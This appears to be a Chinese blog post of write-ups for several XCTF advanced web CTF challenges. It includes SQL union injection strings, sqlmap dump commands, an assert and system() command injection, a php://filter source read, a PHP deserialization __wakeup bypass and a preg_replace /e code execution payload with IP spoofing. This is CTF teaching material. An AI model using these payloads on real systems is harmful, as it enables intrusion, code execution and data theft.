天天看点

XCTFweb高手进阶区手记一

1、ics-06

题目描述:云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。

做题过程:整个页面只有报表中心可以跳转,发现是一个带有id参数的URL,首先想到的是SQL注入,发现并不是考察SQL注入。

XCTFweb高手进阶区手记一

仔细研读了题目描述,发现是找一个带有入侵痕迹的页面,攻击方应该是随便找了一个页面进行入侵,而题目限定只有id可以调整(即攻击者是攻击了一个id=?的页面),所以应该是找到这个被入侵的id页面,用bp爆破。

XCTFweb高手进阶区手记一
XCTFweb高手进阶区手记一

2、NewsCenter

做题过程:一开始误认为是xss,自己尝试了好久感觉好像不是考察这个方向,于是就试了试SQL,结果发现真是SQL。

(1' and 1 or 1=1#与1' and 1 or 1=2#)

获取表名

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

XCTFweb高手进阶区手记一

 获取列名

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table'#

XCTFweb高手进阶区手记一

获取信息

1' union select 1,2,fl4g from secret_table#

SQLMAP post注入

python sqlmap.py -u "http://111.198.29.45:51629/" --data="search=a" --dump

或者抓包直接sqlmap -r 1.txt --dbs,sqlmap -r 1.txt -D news --dump

3、mfw

首先查看页面源码,还以为是文件包含或绕过

XCTFweb高手进阶区手记一

看到一个页面有GIT提示,想到源码泄露

XCTFweb高手进阶区手记一

访问可能存在漏洞的页面,确实存在

XCTFweb高手进阶区手记一

使用工具获取源码

XCTFweb高手进阶区手记一

 找到一个富有内涵的代码,(一开始一直认为是flag.php文件,后来发现是index.php入手)

XCTFweb高手进阶区手记一

 GET接收参数后没有任何过滤,所以可以在file后面街上system函数进行代码执行,当程序执行assert函数时可以执行我们的system函数。

?page='.system("ls;cd templates;ls;cat flag.php").'

查看页面源代码

XCTFweb高手进阶区手记一

4 、NaNNaNNaNNaN-Batman

将源码加上.php后缀打开,这是一个js语言编写的,发现_是个变量,最后eval(_)是输出这个变量,改为alert(_)可以在页面中弹出变量的内容,方便分析

XCTFweb高手进阶区手记一
XCTFweb高手进阶区手记一

控制台执行那段关键代码

XCTFweb高手进阶区手记一

5 、PHP2

XCTFweb高手进阶区手记一

十分刁钻的思路就是phps查看源码

XCTFweb高手进阶区手记一

 源码通俗易懂,就是构造id=admin

XCTFweb高手进阶区手记一

不让过,想到这应该是利用浏览器编码和URLdecode结合利用的二次编码注入绕过

XCTFweb高手进阶区手记一
XCTFweb高手进阶区手记一
XCTFweb高手进阶区手记一

6、unserialize3

XCTFweb高手进阶区手记一

结合这个_wakeup()函数和题目“unserialize3”就可以知道此题考查序列化与反序列化的知识。

code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

XCTFweb高手进阶区手记一

接下来简单补充以下这方面的知识:

序列化和反序列化:大型网站中类创建的对象多的时候会占用大量空间,序列化就是将这些对象转换为字符串来保存,当用到的时候再转换为对象,由字符串重新转换为对象的时候用到的就是反序列化。

格式说明:O:4:"xctf":2:{s:4:"flag";s:3:"111";}

O:“类的名字的字节数“:“类的名字“:“对象中几个参数“:{“第一个参数名字的类型“:“第一个参数名字所占字节数”:“第一个参数名字”;“第二个参数名字的类型“:“第二个参数名字所占字节数”:“第二个参数名字”;········;“第n个参数名字的类型“:“第n个参数名字所占字节数”:“第n个参数名字”;}

O:类 a:数组(array)b:boolean i:整型 s:字符串 N:NULL d:double,浮点型

挖掘反序列化漏洞需要注意的常用魔法函数

__construct():当一个对象创建时被调用。

__destruct():当一个对象销毁时或者php代码执行完毕时被调用。

__toString():当一个对象被当作一个字符串使用

__sleep():在对象在被序列化之前运行

__wakeup():将在序列化之后立即被调用

结合本题的__wakeup()函数,我们介绍他的漏洞,用上面的例子,正常输出O:4:"xctf":1:{s:4:"flag";s:3:"111";},这里变量数量只有一个,若改成变量数量为两个O:4:"xctf":2:{s:4:"flag";s:3:"111";}则可以绕过__weakup函数。

XCTFweb高手进阶区手记一

我们通过这段代码可以获得该类的序列化代码O:4:"xctf":1:{s:4:"flag";s:3:"111";},对其修改以绕过__wakeup()函数

7 Cat

这道题一开始以为是命令执行,进行模糊测试后发现但凡是常用的特殊符号都被过滤了,所以想到不是这方向。然后果断查看WP,真是学到了curl的@+文件名做本地文件读取。(cURL是一个利用URL语法在命令行下工作的文件传输工具)

可以参考此大神的文章:http://www.wupco.cn/?p=4195

8 ics-05

题目描述:其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统

只有这一个页面可以进来

XCTFweb高手进阶区手记一

 查看源代码发现了page关键词,想到任意文件读取

XCTFweb高手进阶区手记一

 总之又没做出来,看了答案才明白。

利用page=php://filter/read=convert.base64-encode/resource=index.php

XCTFweb高手进阶区手记一

解密后,得到源码

XCTFweb高手进阶区手记一

主要是利用preg_replace() 漏洞

正则中/e(这里和|e效果一样) 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。我们执行preg_replace(’|.*|e’,$_POST[pass],’ '),这就可以执行$_POST[pass],也就相当于一句话木马的效果。

本题中需要burp抓包,修改头部,伪造IP127.0.0.1 ,然后传递三个参数pat、rep、sub,按照格式preg_replace(’|.*|e’,PHP代码,’ ')进行利用。

/index.php?pat=|.*|e&rep=system('cat+s3chahahaDir/flag/flag.php')&sub=aa

XCTFweb高手进阶区手记一
XCTFweb高手进阶区手记一